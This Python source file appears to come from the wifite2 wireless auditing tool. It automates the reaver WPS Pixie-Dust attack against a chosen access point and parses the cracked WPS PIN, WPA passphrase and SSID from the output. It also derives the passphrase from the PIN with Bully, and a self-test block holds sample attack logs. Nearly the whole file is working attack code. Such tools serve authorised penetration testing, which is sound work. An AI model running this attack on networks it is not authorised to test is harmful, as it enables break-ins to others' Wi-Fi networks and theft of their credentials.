279 lines
12 KiB
Python
Executable File
279 lines
12 KiB
Python
Executable File
#!/usr/bin/python2.7
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# -*- coding: utf-8 -*-
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from ..model.attack import Attack
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from ..config import Configuration
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from ..util.color import Color
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from ..util.process import Process
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from ..tools.airodump import Airodump
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from ..tools.bully import Bully # for PSK retrieval
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from ..model.wps_result import CrackResultWPS
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import os, time, re
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class Reaver(Attack):
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def __init__(self, target):
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super(Reaver, self).__init__(target)
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self.success = False
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self.crack_result = None
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def is_pixiedust_supported(self):
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''' Checks if 'reaver' supports WPS Pixie-Dust attack '''
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output = Process(['reaver', '-h']).stderr()
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return '--pixie-dust' in output
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def run_pixiedust_attack(self):
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# Write reaver stdout to file.
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self.stdout_file = Configuration.temp('reaver.out')
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if os.path.exists(self.stdout_file):
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os.remove(self.stdout_file)
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command = [
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'reaver',
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'--interface', Configuration.interface,
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'--bssid', self.target.bssid,
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'--channel', self.target.channel,
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'--pixie-dust', '1', # pixie-dust attack
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'--timeout', '4', # Stop waiting after 4 seconds
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#'--delay', '0',
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#'--no-nacks',
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'--session', '/dev/null', # Don't restart session
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'-vv' # (very) verbose
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]
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stdout_write = open(self.stdout_file, 'a')
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reaver = Process(command, stdout=stdout_write, stderr=Process.devnull())
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pin = None
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step = 'initializing'
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time_since_last_step = 0
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with Airodump(channel=self.target.channel,
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target_bssid=self.target.bssid,
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skip_wps=True,
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output_file_prefix='pixie') as airodump:
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Color.clear_line()
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Color.pattack("WPS", self.target, "Pixie Dust", "Waiting for target to appear...")
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while True:
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try:
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airodump_target = self.wait_for_target(airodump)
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except Exception as e:
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Color.pattack("WPS", self.target, "Pixie-Dust", "{R}failed: {O}%s{W}" % e)
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Color.pl("")
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return False
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stdout_write.flush()
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# Check output from reaver process
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stdout = self.get_stdout()
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stdout_last_line = stdout.split('\n')[-1]
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(pin, psk, ssid) = self.get_pin_psk_ssid(stdout)
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# Check if we cracked it, or if process stopped.
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if pin is not None or reaver.poll() is not None:
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reaver.interrupt()
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# Check one-last-time for PIN/PSK/SSID, in case of race condition.
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stdout = self.get_stdout()
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(pin, psk, ssid) = Reaver.get_pin_psk_ssid(stdout)
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# Check if we cracked it.
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if pin is not None:
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# We cracked it.
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if psk is None:
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# Try to derive PSK from PIN using Bully
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psk = Bully.get_psk_from_pin(self.target, pin)
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bssid = self.target.bssid
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Color.clear_entire_line()
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if psk is None:
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Color.pattack("WPS", airodump_target, "Pixie-Dust", "{G}successfully cracked WPS PIN{W} (but not PSK)")
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else:
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Color.pattack("WPS", airodump_target, "Pixie-Dust", "{G}successfully cracked WPS PIN and PSK{W}")
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Color.pl("")
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self.crack_result = CrackResultWPS(bssid, ssid, pin, psk)
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self.crack_result.dump()
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return True
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else:
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# Failed to crack, reaver proces ended.
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Color.clear_line()
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Color.pattack("WPS", airodump_target, "Pixie-Dust", "{R}Failed: {O}WPS PIN not found{W}\n")
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return False
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if 'WPS pin not found' in stdout:
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Color.pl('{R}failed: {O}WPS pin not found{W}')
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break
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last_step = step
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# Status updates, depending on last line of stdout
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if 'Waiting for beacon from' in stdout_last_line:
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step = '({C}step 1/8{W}) waiting for beacon'
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elif 'Associated with' in stdout_last_line:
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step = '({C}step 2/8{W}) waiting to start session'
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elif 'Starting Cracking Session.' in stdout_last_line:
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step = '({C}step 3/8{W}) waiting to try pin'
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elif 'Trying pin' in stdout_last_line:
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step = '({C}step 4/8{W}) trying pin'
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elif 'Sending EAPOL START request' in stdout_last_line:
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step = '({C}step 5/8{W}) sending eapol start request'
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elif 'Sending identity response' in stdout_last_line:
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step = '({C}step 6/8{W}) sending identity response'
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elif 'Sending M2 message' in stdout_last_line:
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step = '({C}step 7/8{W}) sending m2 message (may take a while)'
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elif 'Detected AP rate limiting,' in stdout_last_line:
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if Configuration.wps_skip_rate_limit:
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Color.pl('{R}failed: {O}hit WPS rate-limit{W}')
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Color.pl('{!} {O}use {R}--ignore-ratelimit{O} to ignore' +
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' this kind of failure in the future{W}')
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break
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step = '({C}step -/8{W}) waiting for AP rate limit'
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if step != last_step:
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# Step changed, reset step timer
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time_since_last_step = 0
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else:
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time_since_last_step += 1
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if time_since_last_step > Configuration.wps_pixie_step_timeout:
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Color.pl('{R}failed: {O}step-timeout after %d seconds{W}' % Configuration.wps_pixie_step_timeout)
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break
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# TODO: Timeout check
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if reaver.running_time() > Configuration.wps_pixie_timeout:
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Color.pl('{R}failed: {O}timeout after %d seconds{W}' % Configuration.wps_pixie_timeout)
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break
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# Reaver Failure/Timeout check
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fail_count = stdout.count('WPS transaction failed')
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if fail_count > Configuration.wps_fail_threshold:
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Color.pl('{R}failed: {O}too many failures (%d){W}' % fail_count)
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break
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timeout_count = stdout.count('Receive timeout occurred')
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if timeout_count > Configuration.wps_timeout_threshold:
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Color.pl('{R}failed: {O}too many timeouts (%d){W}' % timeout_count)
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break
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Color.clear_line()
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Color.pattack("WPS", airodump_target, "Pixie-Dust", step)
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time.sleep(1)
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continue
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# Attack failed, already printed reason why
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reaver.interrupt()
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stdout_write.close()
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return False
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@staticmethod
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def get_pin_psk_ssid(stdout):
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''' Parses WPS PIN, PSK, and SSID from output '''
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pin = psk = ssid = None
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# Check for PIN.
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''' [+] WPS pin: 11867722'''
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regex = re.search(r"WPS pin:\s*([0-9]*)", stdout, re.IGNORECASE)
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if regex:
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pin = regex.group(1)
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# Check for PSK.
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# Note: Reaver 1.6.x does not appear to return PSK (?)
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regex = re.search("WPA PSK: *'(.+)'", stdout)
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if regex:
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psk = regex.group(1)
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# Check for SSID
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"""1.x [Reaver Test] [+] AP SSID: 'Test Router' """
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regex = re.search(r"AP SSID:\s*'(.*)'", stdout)
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if regex:
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ssid = regex.group(1)
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# Check (again) for SSID
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if ssid is None:
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"""1.6.x [+] Associated with EC:1A:59:37:70:0E (ESSID: belkin.00e)"""
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regex = re.search(r"Associated with [0-9A-F:]+ \(ESSID: (.*)\)", stdout)
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if regex:
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ssid = regex.group(1)
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return (pin, psk, ssid)
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def get_stdout(self):
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''' Gets output from stdout_file '''
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if not self.stdout_file:
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return ''
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with open(self.stdout_file, 'r') as fid:
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stdout = fid.read()
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return stdout.strip()
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if __name__ == '__main__':
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old_stdout = '''
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[Pixie-Dust]
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[Pixie-Dust] Pixiewps 1.1
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[Pixie-Dust]
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[Pixie-Dust] [*] E-S1: 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
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[Pixie-Dust] [*] E-S2: 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
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[Pixie-Dust] [+] WPS pin: 12345678
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[Pixie-Dust]
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[Pixie-Dust] [*] Time taken: 0 s
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[Pixie-Dust]
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Running reaver with the correct pin, wait ...
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Cmd : reaver -i wlan0mon -b 08:86:3B:8C:FD:9C -c 11 -s y -vv -p 28097402
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[Reaver Test] BSSID: AA:BB:CC:DD:EE:FF
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[Reaver Test] Channel: 11
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[Reaver Test] [+] WPS PIN: '12345678'
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[Reaver Test] [+] WPA PSK: 'Test PSK'
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[Reaver Test] [+] AP SSID: 'Test Router'
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'''
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# From vom513 in https://github.com/derv82/wifite2/issues/60
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new_stdout = '''
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[+] Switching wlan1mon to channel 5
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[+] Waiting for beacon from EC:1A:59:37:70:0E
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[+] Received beacon from EC:1A:59:37:70:0E
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[+] Vendor: RealtekS
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[+] Trying pin "12345670"
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[+] Sending authentication request
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[+] Sending association request
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[+] Associated with EC:1A:59:37:70:0E (ESSID: belkin.00e)
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[+] Sending EAPOL START request
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[+] Received identity request
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[+] Sending identity response
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[+] Received M1 message
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[+] Sending M2 message
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Pixiewps 1.4
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[?] Mode: 3 (RTL819x)
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[*] Seed N1: -
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[*] Seed ES1: -
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[*] Seed ES2: -
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[*] PSK1: 2c2e33f5e3a870759f0aeebbd2792450
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[*] PSK2: 3f4ca4ea81b2e8d233a4b80f9d09805d
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[*] ES1: 04d48dc20ec785762ce1a21a50bc46c2
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[*] ES2: 04d48dc20ec785762ce1a21a50bc46c2
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[+] WPS pin: 11867722
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[*] Time taken: 0 s 21 ms
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executing pixiewps -e d0141b15656e96b85fcead2e8e76330d2b1ac1576bb026e7a328c0e1baf8cf91664371174c08ee12ec92b0519c54879f21255be5a8770e1fa1880470ef423c90e34d7847a6fcb4924563d1af1db0c481ead9852c519bf1dd429c163951cf69181b132aea2a3684caf35bc54aca1b20c88bb3b7339ff7d56e09139d77f0ac58079097938251dbbe75e86715cc6b7c0ca945fa8dd8d661beb73b414032798dadee32b5dd61bf105f18d89217760b75c5d966a5a490472ceba9e3b4224f3d89fb2b -s 5a67001334e3e4cb236f4e134a4d3b48d625a648e991f978d9aca879469d5da5 -z c8a2ccc5fb6dc4f4d69b245091022dc7e998e42ec1d548d57c35a312ff63ef20 -a 60b59c0c587c6c44007f7081c3372489febbe810a97483f5cc5cd8463c3920de -n 04d48dc20ec785762ce1a21a50bc46c2 -r 7a191e22a7b519f40d3af21b93a21d4f837718b45063a8a69ac6d16c6e5203477c18036ca01e9e56d0322e70c2e1baa66518f1b46d01acc577d1dfa34efd2e9ee36e2b7e68819cddacceb596a8895243e33cb48c570458a539dcb523a4d4c4360e158c29b882f7f385821ea043705eb56538b45daa445157c84e60fc94ef48136eb4e9725b134902b96c90b1ae54cbd42b29b52611903fdae5aa88bfc320f173d2bbe31df4996ebdb51342c6b8bd4e82ae5aa80b2a09a8bf8faa9a8332dc9819
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'''
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(pin, psk, ssid) = Reaver.get_pin_psk_ssid(old_stdout)
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assert pin == '12345678', 'pin was "%s", should have been "12345678"' % pin
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assert psk == 'Test PSK', 'psk was "%s", should have been "Test PSK"' % psk
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assert ssid == "Test Router", 'ssid was %s, should have been Test Router' % repr(ssid)
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result = CrackResultWPS('AA:BB:CC:DD:EE:FF', ssid, pin, psk)
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result.dump()
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print("")
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(pin, psk, ssid) = Reaver.get_pin_psk_ssid(new_stdout)
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assert pin == '11867722', 'pin was "%s", should have been "11867722"' % pin
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assert psk == None, 'psk was "%s", should have been "None"' % psk
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assert ssid == "belkin.00e", 'ssid was "%s", should have been "belkin.00e"' % repr(ssid)
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result = CrackResultWPS('AA:BB:CC:DD:EE:FF', ssid, pin, psk)
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result.dump()
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